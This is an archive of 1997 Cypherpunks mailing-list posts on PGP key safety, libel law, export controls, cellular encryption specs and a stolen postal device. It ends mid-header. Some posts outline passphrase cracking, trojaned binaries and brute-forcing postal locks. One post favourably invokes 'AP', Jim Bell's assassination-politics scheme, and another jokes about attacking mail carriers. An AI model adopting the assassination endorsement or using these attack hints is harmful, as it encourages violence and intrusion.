From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 1 Feb 1997 12:55:41 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Key Security Question
Message-ID: <199702012055.MAA26123@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>> My computer went into the shop a few days ago, and I was unable to take
>> my PGP keys off it before it went in.  What are the security risks here?
>> If the repairman chooses to snoop through the files, what would he be
>> able to do with my key pair?  Will I need to revoke the key and make a
>> new one, or will I be relatively safe since he doesn't have my
>> passphrase?

Passphrases are MD5-hashed into 128-bit IDEA keys and used to
encrypt the secret key; there's a "pgpcrack" program out there
that does dictionary-style searches to find if you've got 
wimpy passphrases.  So if your passphrases is "secret", you lose,
but if it's "fjhw;doifvjuc-[09efiu v` 2	4rnhc;ljoipcvjpoiewujfgv;loik"
you're probably pretty safe, unless that's written on the yellow
sticky you left on the side of the PC.

On the other hand, if the "repairman" replaced your pgp executable
with version 2.6.3kgb, which uses your hashed passphrase as the
session key, you're hosed.  Or if he installed a keystroke sniffer,
or added a small radio transmitter to your keyboard, or whatever.
Depends on your threat model.  If you need to be paranoid,
they've already gotten you....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Sat, 1 Feb 1997 15:57:34 -0800 (PST)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Key Security Question
Message-ID: <199702012357.PAA00605@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Alan Olsen writes:
> At 10:41 AM 1/31/97 -0800, Z.B. wrote:
> >My computer went into the shop a few days ago, and I was unable to take
> >my PGP keys off it before it went in.  What are the security risks here?
> >If the repairman chooses to snoop through the files, what would he be
> >able to do with my key pair?  Will I need to revoke the key and make a
> >new one, or will I be relatively safe since he doesn't have my
> >passphrase?
> 
> Depends on how guessable your passphrase is.  If you use something that would
> fall to a dictionary attack, then you are vulnerable.  (Providing that they
> actually looked for your keyring and made a copy.)
> 
> If you had nyms on your keyring, then those nyms can be associated with your
> "true name" with no passphrase required.  (Unless you keep your keyring
> encrypted. Private Idaho supports encrypted keyrings, but little else does.)

Other attacks would be installing a keyboard sniffer, replacing your
PGP binary with a trojan that records your passphrase, etc.
This sort of stuff is quite possible but not likely.  Yet.
 
> If you are really concerned about it, you could learn to do your own computer
> repairs.

Or put your PGP keys on removeable media.

-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sat, 1 Feb 1997 10:55:47 -0800 (PST)
To: pete@idaho.ubisg.com>
Subject: Re: Libel & the 1st Amendment
Message-ID: <199702011855.KAA23264@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 1 Feb 1997, Peter J. Capelli wrote:

> 	You mean to say, rich people can overcrowd the courts as much as they
> like, while others are restricted by contigency-only lawyers ( Call 
> 1-800-AMBULANCE! ) ... and what of the case of a rich person trying to
> control
> a poor one with many frivolous lawsuits ... while they can afford to file 
> lawsuit after lawsuit, the poor person cannot defend himself.

What, exactly, would be the point of suing a poor person?


Mark






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 1 Feb 1997 16:10:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Junger web site
Message-ID: <199702020010.QAA01056@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


PJ sent me his web site which others may be interested in,
with pointers to Karn and Bernstein:

http://samsara.law.cwru.edu/comp_law/crypto_export/

so, essentially, there are now 3 pretty significant cases
challenging ITAR on constitutional grounds, which I find
highly encouraging. of course the Bernstein case has already
had very positive results so far.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 1 Feb 1997 16:11:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Libel, Times v. Sullivan
Message-ID: <199702020011.QAA01095@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Someone (Igor?) suggested I said that libel can't be criminalized. I don't
think that's correct, but I may have been unclear. I haven't researched the
question and can't call to mind a case directly on point, but my hunch is
that states may criminalize libel, but a conviction would require that the
state prove, beyond a reasonable doubt (because it's a criminal case), and
that the defendant acted with actual malice (because the state is seeking
to punish speech, and punitive damages in civil cases require proving
actual malice). "Actual malice" means that the defendant said something
s/he knew was untrue or recklessly disregarded the truth of what s/he said.
(This excludes, for example, an "honest mistake" about what's true.) _Times
v. Sullivan_, the case which introduced the actual malice standard,
discussed Alabama's criminal libel statute - so the Supreme Court, in the
mid 60's, didn't seem to have a problem with criminalizing libel. I can't
seem to find a criminal libel statute in California; and if I remember
correctly the Oregon Legislature contemplated but did not pass one during
its last legislative session. 

Also, people interested in _Times v. Sullivan_ and the interplay between
defamation and the First Amendment might find "Make No Law: The Sullivan
Case and the First Amendment" by Anthony Lewis (ISBN 0-697-73939-4) of
interest. The decision itself is online at
<http://www.findlaw.com/scripts/getcase.pl?court=US&navby=case&vol=376&invol
=254> - the factual summary of the Sullivan case posted here was not
correct, and the first few pages of the opinion provide a description of
the underlying facts.

Since we've now got Jim Bell arguing that it's obvious that a free and open
society must tolerate anything which might be defamatory, and Jim Choate
arguing that it's obvious that a free and open society cannot tolerate
anything which might be defamatory, I think I'm going to wander away from
this discussion confident that the answer is, at least, nonobvious. :)


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sat, 1 Feb 1997 16:11:04 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Cyphernomicon by Tim May
Message-ID: <199702020011.QAA01078@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto, quoting the Cyphernomicon

3.5.1 Contrary to what people sometimes claim, there is no ruling
       clique of Cypherpunks. Anybody is free to do nearly anything,
       just not free to commit others to course of action, or claim
       to speak for the "Cypherpunks" as a group (and this last
       point is unenforceable except through reputation and social
       repercussions).
.........................................................................

Toto, I'm surprised at how seriously you take the underlying anarchist 
philosophy of the list; you identify so closely with it, and have responded 
to its moderation as though it really would be "the end of freedom", even 
though you seem to have appeared, or else come out of lurking, only 
recently.   Is this because you value anarchy, or free speech, or the 
existence of the Cypherpunks as a unique group of stray cats [ :>) ]?


Side note:
Since Tim isn't on the list and hasn't been for a month, I've been 
wondering if it had anything to do with the moderation experiment, although 
it is unlike him to have left without either an argument or at least some 
kind of statement about it.

    ..
Blanc








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steven Bellovin <smb@research.att.com>
Date: Sat, 1 Feb 1997 15:55:53 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: PCS Encryption?
Message-ID: <199702012355.PAA00552@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	 Many low-level phone company people don't know from encryption,
	 and consider just being digital to be enough to satisfy their
	 market's demand for privacy :-(  On the other hand, if they're
	 telling the truth that the FBI had somebody's cellphone shut down
	 because they couldn't wiretap it, that's pretty outrageous,
	 and would seem to constitute a "taking".

And an illegal wiretap besides, most likely -- with a warrant, they could
simply put the tap at the base station.  The story may be true, but it
doesn't sound quite right to me.

I recently got a TDMA phone (a Nokia 2160), which is capable of doing
some sort of encryption, though I'm not sure what algorithm.  It doesn't
always encrypt even when in digital mode (it can handle AMPS, too), but
there's a configuration option to tell the user whether or not encryption
is in use.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 1 Feb 1997 16:25:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Crypto in New Zealand - an update
Message-ID: <199702020025.QAA01481@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:03 AM 2/2/97, pgut001@cs.auckland.ac.nz wrote:
[...]
>The following week Andrew Mayo wrote a letter to the editor of the NBR
>containing an eloquent defense of the use of encryption to protect personal
>privacy.  MFAT replied to say that they were only following orders, and were
>required by the Wassenaar agreement to restrict crypto exports:
[...]

Just for clarification, it is the Wassenaar *arrangement* (somehow the term
is more fitting anyway...) and it does *not* require the signatory
countries to implement crypto export controls.

Not that this will make any difference, since it would be the first time
that a government would allow facts to stand in the way of politics.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 1 Feb 1997 15:59:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: More on Cellular Encryption Docs
Message-ID: <199702012359.PAA00661@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Here's more on the controlled documents for cellular encryption
from TIA/EIA we described in a 26 January post to cpunks:

Sharon Vargish of TIA (1-703-907-7702) sent the documents after=20
I signed and returned the NDA:

   TR45.0.A
   Common Cryptographic Algorithms, Revision B
   June 21, 1995, 72 pp. (With ITAR notice on every page)

   TR45.0.A
   Interface Specification for Common Cryptographic Algorithms,
   Revision B, August 6, 1996, 15 pp. (No ITAR notice, but=20
   "sensitive information should be protected from general=20
   distribution.")

   TR45
   Appendix A to PN-3474 (IS-36)
   October 16, 1995, 10 pp. (ITAR notice on every page.)

   TR45
   Appendix-A to TIA/EIA 627
   December 23, 1996, 7 pp. (No ITAR, but "sensitive"notice)

"Common Cryptographic Algorithms" (CCA) supercedes the 1992=20
CAVE document, but is considerbly longer -- 72 pp. for the latest
compared to 25 pp. for the 1992 version.

Here're the CCA's TOC and Introduction:

Table of Contents

1. Introduction=20
  =A01.1. Notations=20
=A0 =A01.2. Definitions=20

2. Procedures=20

=A0 =A02.1. Authentication Key (A-Key) Procedures
=A0 =A0 =A0 =A0 2.1.1. A-Key Checksum calculation  =A0 =A0 =A0 =A0 =A0=20
        2.1.2. A-Key Verification

=A0 =A02.2. SSD Generation and Update
=A0 =A0 =A0 =A0 2.2.1. SSD Generation Procedure  =A0 =A0 =A0 =A0 =A0=20
        2.2.2. SSD Update Procedure

=A0 =A02.3. Authentication Signature Calculation Procedure

=A0 =A02.4. Encryption Key and VPM Generation Procedure
=A0 =A0 =A0 =A0 2.4.1. CMEA key Generation  =A0 =A0 =A0 =A0 =A0=20
        2.4.2. Voice Privacy Mask Generation

=A0 =A02.5. CMEA Encryption/Decryption Procedure

=A0 =A02.6. Wireless Residential Extension Procedures
=A0 =A0 =A0 =A0 2.6.1. WIKEY Generation  =A0 =A0 =A0 =A0 =A0=20
        2.6.2. WIKEY Update Procedure  =A0 =A0 =A0 =A0 =A0=20
        2.6.3. Wireline Interface Authentication Signature=20
               Calculation Procedure  =A0 =A0 =A0 =A0 =A0=20
        2.6.4. Wireless Residential Extension Authentication=20
               Signature Calculation Procedure

=A0 =A02.7. Cellular Data Encryption=20
=A0 =A0 =A0 =A0 2.7.1. Data Encryption Key Generation Procedure  =A0 =A0 =
=A0 =A0 =A0=20
        2.7.2. Data Encryption Mask Generation Procedure

3. TEST VECTORS

=A0 =A03.1. CAVE Test Vectors
=A0 =A0 =A0 =A0 3.1.1. Vector 1 =A0 =A0 =A0 =A0 =A0=20
        3.1.2. Vector 2  =A0 =A0 =A0 =A0 =A0=20
        3.1.3. Test Program

=A0 =A03.2. Wireless Residential Extension Test Vectors
 =A0 =A0 =A0  3.2.1. Input data  =A0 =A0 =A0 =A0 =A0=20
        3.2.2. Test program  =A0 =A0 =A0 =A0 =A0=20
        3.2.3. Test Program Output

=A0 =A03.3. Data Encryption Test Vector
=A0 =A0 =A0 =A0 3.3.1. Input data  =A0 =A0 =A0 =A0 =A0=20
        3.3.2. Test Program  =A0 =A0 =A0 =A0 =A0=20
        3.3.3. Test Program Output
 =20
1. Introduction

This document describes detailed cryptographic procedures for=20
cellular system applications. These procedures are used to=20
perform the security services of mobile station authentication,=20
subscriber message encryption, and encryption key and subscriber=20
voice privacy key generation within cellular equipment.

This document is organized as follows:

=A72 describes the Cellular Authentication, Voice Privacy and=20
Encryption (CAVE) algorithm used for authentication for mobile=20
subscriber equipment and for generation of cryptovariables to=20
be used in other procedures.

=A72.1 describes the procedure to verify the manual entry of the=20
subscriber authentication key (A-key).

=A72.2 describes the generation of intermediate subscriber=20
cryptovariablcs, Shared Secret Data (SSD), from the unique and=20
private subscriber A-key.

=A72.3 describes the procedure to calculate an authentication=20
signature used by cellular base station equipment for verifying=20
the authenticity of a mobile station.

=A72.4 describes the procedures used for generating cryptographic=20
keys. These keys include the Voice Privacy Mask (VPM) and the=20
Cellular Message Encryption Algorithm (CMEA) key. Thc VPM is used=20
to provide forward link and reverse link voice confidentiality=20
over the air interface. Thc CMEA key is used with the CMEA=20
algorithm for protection of digital data exchanged between the=20
mobile station and the base station.

=A72.5 describes the Cellular Message Encryption Algorithm (CMEA)=20
used for enciphering and deciphering subscriber data exchanged=20
between the mobile station and the base station.

=A72.6 describes the procedures for key and authentication=20
signature generation for wireless residential extension=20
applications.

=A72.7 describes the ORYX algorithm and procedures for key and mask=20
generation for encryption and decryption in cellular data services.

=A73 provides test data (vectors) that may be employed to verify=20
the correct operation of the cryptographic algorithms described=20
in this document. ...

[End CCA Introduction]

The related CCA Interface Specification "describes the interfaces
to cryptographic procedures for cellular system applications"
described in the CCA. Its purpose "is to describe the cryptographic
functions without revealing the technical details that are subject
to" ITAR.

The two Appendices A to IS-136 and 627 "contain requirements for=20
message encryption and voice privacy for cellular systems"=20
supplemental to those described in the main documents, the CCA and=20
the CCA Interface Specs.

-----

This note will be put with other CAVE info at:

   http://jya.com/cave.htm

Thanks to TIA/EIA for prompt and courteous reply to our requests. Maybe
they welcome help persuading USG/NSA to allow stronger crypto and
boost the market for cellular systems.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Sat, 1 Feb 1997 16:12:44 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702020012.QAA01104@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On  1 Feb 97 at 9:39, Duncan Frissell wrote:

> Mail Storage Box keys?

I think they use combination locks, actually. Supposedly it's the same
combination nationally too.

There was an article in 2600 Magazine about that. The locks are 
actually 'insecure' and you can test every possible combo in about
10-20 minutes.

- --Rob

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMvPFpgTNlSxdPy6ZAQF7QAf+IFPhGavlD7p5WFsmhESHi+PKd9msqYhN
pxl8ZdUZMDJg61F6nLF4Oa7rfoCmzDXqP4w0WU1pk8MkkwwVb9oTTJg2k4hY4AKr
IixesiAcDlGc9+11314Nao+PuU6epJYmLddGSIc0Ra3FKrqamyueW6qunsJQT1Z6
5E/BiqpEGAiEGqog9J/xXtSra4q9g1SzrMCGcR5z077gCzb5ONxIgWzQ6zlL0leb
X1Y9pzABnm1iJbq7Q2HRAVAQVBiPC/vg+hW8COfao4XHGqsqVg2UBcZWT8TdbV4N
cwqVw5fDpoZXPyQtzRynmq55xH4OIJWZ2HnNNK3KHdRcyS+JW24MBQ==
=oAVd
-----END PGP SIGNATURE-----

-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 1 Feb 1997 18:29:37 -0800 (PST)
To: "Mark M." <cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment
Message-ID: <199702020229.SAA04759@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:52 PM 2/1/97 -0500, Mark M. wrote:
>On Sat, 1 Feb 1997, Peter J. Capelli wrote:
>
>> 	You mean to say, rich people can overcrowd the courts as much as they
>> like, while others are restricted by contigency-only lawyers ( Call 
>> 1-800-AMBULANCE! ) ... and what of the case of a rich person trying to
>> control
>> a poor one with many frivolous lawsuits ... while they can afford to file 
>> lawsuit after lawsuit, the poor person cannot defend himself.
>
>What, exactly, would be the point of suing a poor person?

To quiet him from political dissent, presumably.  I think the term coined a 
few years ago was "SLAPP", something akin to "Strategic Lawsuit Against 
Public Policy," or similar.  

For example, "Company A" wants to build a mine or factory or something 
similar at a location.  Citizens object, causing political problems.  
Company sues the individuals for damages, which costs the individuals a 
great deal of money to defend against even if they never lose the suit.

The real problem is actually a series of mistakes:

1.  Individual should not be able to cause political problems for company.

2.  "Government" should not be able to impact company activities short of 
actual harm.

3.  Company should not be able to impact individual by suing except for 
actual harm done by that individual.


Naturally, the source of these problems is that by each of their existence, 
lawyers make more money.


As usual, I have a solution to that problem.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 1 Feb 1997 19:25:59 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Cyphernomicon by Tim May
Message-ID: <199702020325.TAA06428@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> 3.5.1 Contrary to what people sometimes claim, there is no ruling
>        clique of Cypherpunks. Anybody is free to do nearly anything,
>        just not free to commit others to course of action, or claim
>        to speak for the "Cypherpunks" as a group (and this last
>        point is unenforceable except through reputation and social
>        repercussions).
> 3.6.3 "Why isn't the list moderated?"
>       ...hardly consistent with many of our anarchist leanings, is it?
>       - "No, please, let's not become a 'moderated' newsgroup. This
>       would be the end of freedom!

Is this why T.C. May hasn't posted in quite a while?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 1 Feb 1997 19:26:02 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: More on Cellular Encryption Docs
Message-ID: <199702020326.TAA06429@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:10 PM 2/1/97 -0500, John Young wrote:
>Here's more on the controlled documents for cellular encryption
>from TIA/EIA we described in a 26 January post to cpunks:
...
>   TR45.0.A
>   Common Cryptographic Algorithms, Revision B
>   June 21, 1995, 72 pp. (With ITAR notice on every page)

Of course, ITAR as recently modified says it's ok to send this
stuff overseas to foreigners, as long as it's on paper.
There may be separate restrictions on sending it, or on copying,
but they're based on copyright or contractual non-disclosure.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 1 Feb 1997 19:26:04 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: Re: Cyphernomicon by Tim May
Message-ID: <199702020326.TAA06430@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc wrote:
> From:   Toto, quoting the Cyphernomicon
> 3.5.1 Contrary to what people sometimes claim, there is no ruling
>        clique of Cypherpunks. Anybody is free to do nearly anything,
>        just not free to commit others to course of action, or claim
>        to speak for the "Cypherpunks" as a group (and this last
>        point is unenforceable except through reputation and social repercussions).

> Toto, I'm surprised at how seriously you take the underlying anarchist
> philosophy of the list; you identify so closely with it, and have responded
> to its moderation as though it really would be "the end of freedom", even
> though you seem to have appeared, or else come out of lurking, only
> recently.   Is this because you value anarchy, or free speech, or the
> existence of the Cypherpunks as a unique group of stray cats [ :>) ]?
> Side note: Since Tim isn't on the list and hasn't been for a month, I've been
> wondering if it had anything to do with the moderation experiment, although
> it is unlike him to have left without either an argument or at least some
> kind of statement about it.

Maybe Tim's Last Words got "lost", eh?  So far, several people have
stated that "it could happen".






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 18:26:15 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702020226.SAA04649@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
 
> >>>Postal Service offers $25,000 reward for stolen . . . something
 
> I was also guessing keys - truck keys are a less subtle target than
> box storage keys, and telling every thug in the country that
> mail trucks are an easy target, just take the keys from the carrier,
> seems almost worth sounding really stupid in public to avoid.
> They did say that it wasn't something they carried in their pockets,
> but do mail carriers hang their keys on their belts?

  Mail carriers in some areas carry keys for buildings with security
doors (sometimes Master keys).
  Or perhaps they've taken over the CIA's crack distribution route.

  Is anyone on the list willing to 'knock off' a couple of mail
carriers and get back to us with a definitive answer on this?
 (Doesn't this kind of thing fall under the moderator's job
description?)

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 1 Feb 1997 19:40:45 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702020340.TAA06830@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:51 PM 2/1/97 -0800, you wrote:
>  Is anyone on the list willing to 'knock off' a couple of mail
>carriers and get back to us with a definitive answer on this?

We were joking about this last night - this is just encouraging
people to hold up mail carriers and say "Hand it over!"
"Hand over what?" "You, know, the thingie" "What thingie?" 
"The one they steal from mailmen in Miami" "You mean this?"
"No, it wouldn't be one of them, not worth enough"
"How about one of these?" "Maybe, but that's probably not it"
"My mailbag?" "No, that's too obvious."
"ID card?" "No, you don't look enough like me"
"Dog repellent?" "No, that's kind of smelly*"

Of course, as Toto suggested, it could be just that the 
carriers are delivering dope on the side, or maybe they're
stealing the mail carriers' shirts to complete their
disgruntled postal workers' costumes.

	[*"Cheshire perhaps?" "No, we're all out of that"...]


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 1 Feb 1997 19:40:45 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Libel, Times v. Sullivan
Message-ID: <199702020340.TAA06831@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:52 PM 2/1/97 -0800, Greg Broiles wrote:

>Also, people interested in _Times v. Sullivan_ and the interplay between
>defamation and the First Amendment might find "Make No Law: The Sullivan
>Case and the First Amendment" by Anthony Lewis (ISBN 0-697-73939-4) of
>interest. The decision itself is online at
><http://www.findlaw.com/scripts/getcase.pl?court=US&navby=case&vol=376&invol
>=254> - the factual summary of the Sullivan case posted here was not
>correct, and the first few pages of the opinion provide a description of
>the underlying facts.
>
>Since we've now got Jim Bell arguing that it's obvious that a free and open
>society must tolerate anything which might be defamatory, and Jim Choate
>arguing that it's obvious that a free and open society cannot tolerate
>anything which might be defamatory, I think I'm going to wander away from
>this discussion confident that the answer is, at least, nonobvious. :)

Your last paragraph looks like an exercise of the silly game the TV show "60 
minutes" producers often play when they read the letters from the audience 
about a previous report on a controversial subject.  They first read a 
letter from an outraged viewer who claims that the TV show's producers must 
have been biased in one direction, and then they read another letter from a 
different viewer who alleges they showed a bias in the opposite direction.  
The show is trying to leave you with the impression that they MUST have been 
unbiased, because they are being accused of diametrically opposite leanings.

All they are really showing is that given the hundreds and probably 
thousands of letters they receive on each show weekly (which are, by 
definition, written by self-motivated people) they can get at least one on 
each end of the spectrum for whatever subject they've just covered.   Not 
surprising.   (If anything, I'd be surprised if they ever DON'T recieve at 
least two such letters which could be misused in this way...)

So before you "wander away," perhaps you ought to explain why we NEED 
defamation laws?  The sun would still rise tomorrow morning absent them.  A 
few feelings might be hurt, that's true, but on the other hand the implied 
endorsement of The State ("If that statement wasn't true, he couldn't print 
it!") has a, cumulatively, far greater impact on all of us.

A clue is present in the likely fact that the origins of defamation laws 
were primarily to keep the king and the upper-crust free of printed and 
verbal attack directed by the lower-classes, even given the presence of 
whatever nominal "free-speech" guarantees were present.  Explain, for 
example, that while it is now universally recognized by the truth is a 
defense for libel accusations, it was NOT true when William Penn went on 
trial for libel in the late 1600's.






Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 1 Feb 1997 19:42:25 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Free & Open Society & toleration
Message-ID: <199702020342.TAA06926@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> It has been asserted that I am claiming that a free and open society should
> not abide any and all actions in contrast to Jim Bell's assertion that a
> free and open society must tolerate any action.
> This is not my case at all. I hold that a DEMOCRATIC society with a HEALTHY
> ECONOMIC system must have some minimum standards on what is allowed. By no
> means do I hold that the ONLY means of a free and open society is a democracy.
> It is quite possible to have an anarchy which would also be a free and open
> society and by DEFINITION would tolerate any action by its members acting
> individualy or in concert.

[snip]

Nobody has a problem with your ideals, it's just that Jim Bell is
trying to say (correct me and forgive me if I'm wrong) that:

1. Society will never subscribe to your ideals.
2. Society is not static, i.e., instead of remaining at a constant
   level of corruption, the officials will keep demanding more,
   until there's a sudden, catastrophic break.
3. The AP solution has the potential to stabilize the level of
   corruption, which should make violent revolutions and genocide
   unnecessary.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 18:29:29 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Crypto in New Zealand - an update
Message-ID: <199702020229.SAA04751@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote: 
> At 06:03 AM 2/2/97, pgut001@cs.auckland.ac.nz wrote:
> [...]
> >The following week Andrew Mayo wrote a letter to the editor of the NBR
> >containing an eloquent defense of the use of encryption to protect personal
> >privacy.  MFAT replied to say that they were only following orders, and were
> >required by the Wassenaar agreement to restrict crypto exports:
> [...]

  MFAT doesn't put crypto in the ovens, they just turn on the gas.
 
> Just for clarification, it is the Wassenaar *arrangement* (somehow the term
> is more fitting anyway...) and it does *not* require the signatory
> countries to implement crypto export controls.
 
> Not that this will make any difference, since it would be the first time
> that a government would allow facts to stand in the way of politics.

  ...or allow 'citizens' to stand in the way of politics.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 1 Feb 1997 18:30:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Free & Open Society & toleration
Message-ID: <199702020230.SAA04826@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

It has been asserted that I am claiming that a free and open society should
not abide any and all actions in contrast to Jim Bell's assertion that a
free and open society must tolerate any action.

This is not my case at all. I hold that a DEMOCRATIC society with a HEALTHY
ECONOMIC system must have some minimum standards on what is allowed. By no
means do I hold that the ONLY means of a free and open society is a democracy.
It is quite possible to have an anarchy which would also be a free and open
society and by DEFINITION would tolerate any action by its members acting 
individualy or in concert.

I hold that for a democratic society to retain concepts of freedom and
equity under the law as well as be economicaly viable, especialy in an
environment where 'reputation' is critical such as a network over which
economic transactions can take place with nothing more than a email order
and a EFT, must not provide ex post facto AND carte blanche protection of
the speech of the citizens. For such a system to operate requires a
'reputation' system to be in place. For such a system to be viable it MUST
protect those reputations otherwise the concept of a 'contract' is
worthless. I DO hold that this system MUST provide a priori protection of
all speech. I further hold that any distinction between the 'government'
and the people of a nation is a false and misleading distinction which is
not in the best interest of the society because it by DEFINITION promotes a
class society which is by definition contrary to the goal of equity under a
democracy. It further provides a mechanism by which the representatives of
the 'state' may claim immunity from the very standards they are charged with
enforcing. This is because the charter of such a society is itself simply a
contract between any arbitrary individual of that society and the sum total
of the remaining citizenry (ie the 'state').

I further hold that one of the current legal practices based on precidence
which MUST be replaced is our system dealing with defamation. I further hold
that our current system of legal representation is inherently  flawed and
prevents equal representation under the law.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com

            





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 2 Feb 1997 01:40:41 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: "Strong" crypto and export rule changes.
Message-ID: <199702020940.BAA15580@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>        What the US government will allow to be exported is not "strong
>encryption."  It is encryption only slightly too strong to be broken
>by an amateur effort.  For the right investment in custom hardware, it
>falls quickly.  (500,000 $US = 3.5 hour avg break).
>

Considering Ian's feat you certainly seem to have had your crystal ball in hand.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Lesher <wb8foz@nrk.com>
Date: Sat, 1 Feb 1997 18:29:27 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
